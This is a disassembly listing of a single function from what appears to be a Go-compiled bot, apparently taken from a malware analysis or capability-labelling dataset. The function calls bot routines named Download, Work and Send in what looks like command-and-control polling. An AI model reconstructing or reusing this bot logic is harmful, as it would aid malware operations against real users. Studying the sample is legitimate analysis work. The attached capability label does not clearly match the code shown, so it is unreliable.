Function at 0x5ca5c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x5caa89
sub esp, 0x7c
mov byte [0x7e3660], 1
movzx eax, byte [0x7e3697]
test al, al
je 0x5caa3c
mov eax, dword [0x7d1c70]
mov ecx, dword [0x7d1c74]
mov dword [esp], eax
mov dword [esp + 4], ecx
lea eax, [0x637d15]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dbg.botlib.Download
mov eax, dword [esp + 0x18]
mov dword [esp + 0x74], eax
mov ecx, dword [esp + 0x1c]
test ecx, ecx
je 0x5ca67d
mov eax, dword [esp + 0x80]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x9c], eax
mov byte [esp + 0xa0], 1
add esp, 0x7c
ret
test eax, eax
je 0x5caa35
mov ecx, dword [eax]
test ecx, ecx
jne 0x5ca68d
jmp 0x5ca639
lea ecx, [0x5fe6e0]
mov dword [esp], ecx
mov dword [esp + 4], eax
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 4]
cmp eax, 1
je 0x5ca70d
mov eax, dword [esp + 0x74]
mov dword [esp], eax
call dbg.botlib.Work
mov eax, dword [esp + 0x80]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x9c], eax
mov byte [esp + 0xa0], 0
add esp, 0x7c
ret
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov eax, dword [esp + 0x74]
mov dword [esp + 4], eax
lea ecx, [0x63818d]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 4]
mov eax, dword [eax]
test ecx, ecx
jbe 0x5caa2e
movzx eax, byte [eax]
cmp al, 0x47
je 0x5ca753
jmp 0x5ca6bd
call dbg.time.Now
mov eax, dword [0x7e36dc]
mov ecx, 0x30b8a000
mov ebx, eax
mul ecx
mov dword [esp + 0x3c], eax
mov ecx, dword [esp + 8]
mov dword [esp + 0x38], ecx
mov ebp, dword [esp + 4]
mov dword [esp + 0x34], ebp
mov esi, dword [esp]
mov dword [esp + 0x2c], esi
mov dword [esp], eax
mov edi, ebx
sar ebx, 0x1f
imul ebx, ebx, 0x30b8a000
add edx, ebx
imul edi, edi, 0x346
add edx, edi
mov dword [esp + 0x50], edx
mov dword [esp + 4], edx
mov dword [esp + 8], 0x3b9aca00
mov dword [esp + 0xc], 0
call dbg.runtime.int64div
mov eax, dword [esp + 0x10]
mov dword [esp + 0x4c], eax
mov ecx, dword [esp + 0x80]
add ecx, eax
mov dword [esp + 0x30], ecx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x48], ebx
mov ebp, dword [esp + 0x3c]
mov dword [esp], ebp
mov esi, dword [esp + 0x50]
mov dword [esp + 4], esi
mov dword [esp + 8], 0x3b9aca00
mov dword [esp + 0xc], 0
call dbg.runtime.int64div
mov eax, dword [esp + 0x10]
mov ecx, 0x3b9aca00
mul ecx
mov ecx, dword [esp + 0x3c]
sub ecx, eax
mov eax, dword [esp + 0x80]
mov edx, dword [esp + 0x4c]
add edx, eax
mov edx, dword [esp + 0x48]
mov ebx, dword [esp + 0x84]
adc edx, ebx
mov ebp, dword [esp + 0x88]
lea esi, [ebp + ecx]
cmp esi, 0x3b9aca00
jl 0x5caa09
mov esi, dword [esp + 0x30]
add esi, 1
lea ecx, [ecx + ebp - 0x3b9aca00]
adc edx, 0
mov edi, dword [esp + 0x34]
cmp edi, edx
sete al
mov ebx, dword [esp + 0x2c]
cmp ebx, esi
xchg ebp, ebx
seta bl
xchg ebp, ebx
and eax, ebp
cmp edi, edx
xchg ebp, ebx
setg bl
xchg ebp, ebx
or ebp, eax
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x5ca9e4
mov eax, 1
test al, al
jne 0x5ca8c5
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x8c]
mov edx, dword [esp + 0x80]
mov ebx, dword [esp + 0x84]
mov dword [esp + 0x90], edx
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], ecx
mov byte [esp + 0xa0], 1
add esp, 0x7c
ret
mov eax, dword [0x7e36dc]
mov dword [esp], eax
call dbg.strconv.Itoa
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
lea edx, [esp + 0x54]
mov dword [esp], edx
lea edx, [0x63d01f]
mov dword [esp + 4], edx
mov dword [esp + 8], 0x15
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call dbg.runtime.concatstring2
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp], 0
call dbg.runtime.stringtoslicebyte
mov eax, dword [esp + 0x10]
mov dword [esp + 0x44], eax
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x78], ecx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x40], edx
mov dword [esp], 0
mov ebx, dword [0x7d1c74]
mov ebp, dword [0x7d1c70]
mov dword [esp + 4], ebp
mov dword [esp + 8], ebx
lea ebx, [0x637c57]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], 2
call dbg.runtime.concatstring2
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x78]
mov dword [esp], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 8], eax
mov eax, dword [0x7d17cc]
mov dword [esp + 0xc], eax
lea eax, [0x637c2c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 1
lea eax, [0x637c2e]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], 1
mov eax, dword [0x7e36e0]
mov dword [esp + 0x28], eax
call dbg.botlib.Send
call dbg.time.Now
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov ebx, dword [esp + 4]
mov edx, dword [esp]
jmp 0x5ca89d
cmp edx, edi
sete al
cmp esi, ebx
sete dl
and eax, edx
test al, al
je 0x5caa02
mov eax, dword [esp + 0x38]
cmp eax, ecx
setg al
jmp 0x5ca87d
xor eax, eax
jmp 0x5ca87d
test esi, esi
jge 0x5caa23
mov esi, dword [esp + 0x30]
add esi, 0xffffffff
lea ecx, [ecx + ebp + 0x3b9aca00]
adc edx, 0xffffffff
jmp 0x5ca84b
mov ecx, esi
mov esi, dword [esp + 0x30]
jmp 0x5ca84b
call dbg.runtime.panicindex
ud2
xor ecx, ecx
jmp 0x5ca687
call dbg.main.setParameters
call dbg.main.inits
mov byte [0x7e3697], 1
call dbg.time.Now
mov eax, dword [esp + 4]
mov ecx, dword [esp]
mov edx, dword [esp + 8]
mov ebx, dword [esp + 0xc]
mov dword [esp + 0x90], ecx
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], edx
mov dword [esp + 0x9c], ebx
mov byte [esp + 0xa0], 0
add esp, 0x7c
ret
call dbg.runtime.morestack_noctxt
jmp dbg.main.protocol_2